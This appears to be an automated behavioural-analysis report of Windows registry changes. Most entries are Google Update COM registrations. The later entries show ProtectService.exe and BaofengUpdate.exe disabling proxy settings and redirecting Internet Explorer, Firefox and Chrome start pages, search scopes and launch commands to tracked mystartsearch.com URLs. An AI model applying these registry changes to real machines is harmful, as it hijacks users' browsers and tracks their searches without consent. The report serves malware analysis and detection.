[HKCR\GoogleUpdate.OnDemandCOMClassMachine\CLSID]
"(Default)" = "{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}"

[HKCR\Wow6432Node\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}]
"(Default)" = "IOneClickProcessLauncher"

[HKCR\Wow6432Node\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}]
"(Default)" = "ICoCreateAsync"

[HKCR\Wow6432Node\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\NumMethods]
"(Default)" = "10"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachineFallback"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\ProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachineFallback.1.0"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}]
[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\LocalServer32]
[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}]
[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}]
[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}]
[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}]
[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\Elevation]
[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\Elevation]
[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\ProgID]
[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\ProgID]
[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\ProgID]
[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}]
[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\ProgID]
[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\Elevation]
[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}]
[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\ProgID]
[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}]
[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\ProgID]
[HKCR\Wow6432Node\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}]
[HKCR\Wow6432Node\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}]
[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\ProgID]
[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}]
[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\ProgID]
[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\ProgID]
[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\Elevation]
[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\LocalServer32]
[HKCR\Wow6432Node\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
[HKCR\Wow6432Node\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\Elevation]
[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}]
[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\LocalServer32]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:3124 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastCodeRedCheck" = "Type: REG_QWORD, Length: 8"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:536 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
"AppID" = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}"

[HKCR\GoogleUpdate.Update3COMClassService]
"(Default)" = "Update3COMClass"

[HKCR\GoogleUpdate.OnDemandCOMClassSvc]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\GoogleUpdate.Update3COMClassService\CLSID]
"(Default)" = "{4EB61BAC-A3B6-4760-9581-655041EF4D69}"

[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassSvc"

[HKCR\GoogleUpdate.CoreClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\GoogleUpdate.Update3WebSvc\CLSID]
"(Default)" = "{534F5323-3569-4F42-919D-1E1CF93E5BF6}"

[HKCR\GoogleUpdate.Update3COMClassService.1.0\CLSID]
"(Default)" = "{4EB61BAC-A3B6-4760-9581-655041EF4D69}"

[HKCR\GoogleUpdate.Update3WebSvc.1.0\CLSID]
"(Default)" = "{534F5323-3569-4F42-919D-1E1CF93E5BF6}"

[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}]
"(Default)" = "Google Update Core Class"

[HKCR\GoogleUpdate.Update3COMClassService.1.0]
"(Default)" = "Update3COMClass"

[HKCR\AppID\GoogleUpdate.exe]
"AppID" = "{4EB61BAC-A3B6-4760-9581-655041EF4D69}"

[HKCR\AppID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
"(Default)" = "ServiceModule"

[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
"(Default)" = "Update3COMClass"

[HKCR\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
"(Default)" = "ServiceModule"

[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}]
"AppID" = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}"

[HKCR\AppID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
"LocalService" = "gupdatem"

[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ProgID]
"(Default)" = "GoogleUpdate.Update3COMClassService.1.0"

[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}\ProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\GoogleUpdate.Update3WebSvc.1.0]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.Update3COMClassService"

[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\ProgID]
"(Default)" = "GoogleUpdate.Update3WebSvc.1.0"

[HKCR\GoogleUpdate.Update3WebSvc]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\GoogleUpdate.Update3WebSvc\CurVer]
"(Default)" = "GoogleUpdate.Update3WebSvc.1.0"

[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
"AppID" = "{4EB61BAC-A3B6-4760-9581-655041EF4D69}"

[HKCR\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
"ServiceParameters" = "/comsvc"

[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.Update3WebSvc"

[HKCR\GoogleUpdate.CoreClass\CurVer]
"(Default)" = "GoogleUpdate.CoreClass.1"

[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}]
"AppID" = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}"

[HKCR\GoogleUpdate.CoreClass]
"(Default)" = "Google Update Core Class"

[HKCR\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
"LocalService" = "gupdate"

[HKCR\GoogleUpdate.CoreClass.1\CLSID]
"(Default)" = "{E225E692-4B47-4777-9BED-4FD7FE257F0E}"

[HKCR\GoogleUpdate.Update3COMClassService\CurVer]
"(Default)" = "GoogleUpdate.Update3COMClassService.1.0"

[HKCR\GoogleUpdate.OnDemandCOMClassSvc.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.CoreClass"

[HKCR\GoogleUpdate.OnDemandCOMClassSvc.1.0\CLSID]
"(Default)" = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}"

[HKCR\AppID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
"ServiceParameters" = "/comsvc"

[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}\ProgID]
"(Default)" = "GoogleUpdate.CoreClass.1"

[HKCR\GoogleUpdate.OnDemandCOMClassSvc\CLSID]
"(Default)" = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}"

[HKCR\GoogleUpdate.OnDemandCOMClassSvc\CurVer]
"(Default)" = "GoogleUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\GoogleUpdate.CoreClass\CLSID]
"(Default)" = "{E225E692-4B47-4777-9BED-4FD7FE257F0E}"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}\ProgID]
[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}\ProgID]
[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
[HKCR\Wow6432Node\CLSID\{E225E692-4B47-4777-9BED-4FD7FE257F0E}]
[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}]
[HKCR\AppID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}]
[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}\VersionIndependentProgID]
[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\ProgID]
[HKCR\AppID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
[HKCR\Wow6432Node\CLSID\{4EB61BAC-A3B6-4760-9581-655041EF4D69}\ProgID]
[HKCR\Wow6432Node\CLSID\{9465B4B4-5216-4042-9A2C-754D3BCDC410}]
[HKCR\AppID\GoogleUpdate.exe]
[HKCR\Wow6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\VersionIndependentProgID]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:2192 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2B\52C64B7E\@%SystemRoot%\system32]
"dnsapi.dll,-103" = "Domain Name System (DNS) Server Trust"

[HKCU\Software\Google\Update\proxy]
"source" = "IEWPAD"

[HKCU\Software\Classes\Local Settings\MuiCache\2B\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2B\52C64B7E\@%SystemRoot%\system32]
"p2pcollab.dll,-8042" = "Peer to Peer Trust"

The Application deletes the following registry key(s):

[HKCU\Software\Classes\Local Settings\MuiCache\2A]
[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:2368 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"IsMSIHelperRegistered" = "1"
"LastStartedAU" = "1423622160"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Google\Update\proxy]
"source" = "IEWPAD"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:1660 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"ActivePingDayStartSec" = "1423555203"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"InstallProgressPercent" = "4294967295"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"DayOfLastRollCall" = "2962"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"LastCheckSuccess" = "1423621865"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"DownloadTimeRemainingMs" = "4294967295"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"DayOfLastRollCall" = "2962"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\CurrentState]
"StateValue" = "16"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"RollCallDayStartSec" = "1423555203"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableCount" = "1"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"RollCallDayStartSec" = "1423555203"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastChecked" = "1423621865"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"pv" = "35.0.1916.153"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]
"StateValue" = "16"

[HKCU\Software\Google\Update\proxy]
"source" = "IEWPAD"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}]
"pv" = "35.0.1916.153"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"DayOfLastActivity" = "2962"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"RollCallDayStartSec" = "1423555203"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"InstallTimeRemainingMs" = "4294967295"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"pv" = "1.3.25.11"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"RollCallDayStartSec" = "1423555203"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@%SystemRoot%\system32]
"dnsapi.dll,-103" = "Domain Name System (DNS) Server Trust"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"ActivePingDayStartSec" = "1423555203"

[HKCU\Software\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}]
"dr" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}\CurrentState]
"StateValue" = "17"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableSince" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"DayOfLastActivity" = "2962"
"DayOfLastRollCall" = "2962"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"StateValue" = "3"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"DayOfLastRollCall" = "2962"

[HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr" = "0"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"pv" = "35.0.1916.153"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
"DownloadProgressPercent" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@%SystemRoot%\system32]
"p2pcollab.dll,-8042" = "Peer to Peer Trust"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\CurrentState]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{FDA71E6F-AC4C-4A00-8B70-9958A68906BF}\CurrentState]
[HKCU\Software\Classes\Local Settings\MuiCache\29]
[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState]
[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\CurrentState]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UpdateAvailableSince"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"tttoken"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastInstallerError"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerExtraCode1"
"LastInstallerResult"
"old-uid"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"LastInstallerResultUIString"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastInstallerResult"
"LastInstallerResultUIString"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"dr"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastInstallerError"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"tttoken"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"dr"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"LastInstallerExtraCode1"

The process ProtectService.exe:3964 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:3208 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process BaofengUpdate.exe:964 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process BaofengUpdate.exe:168 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstall"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
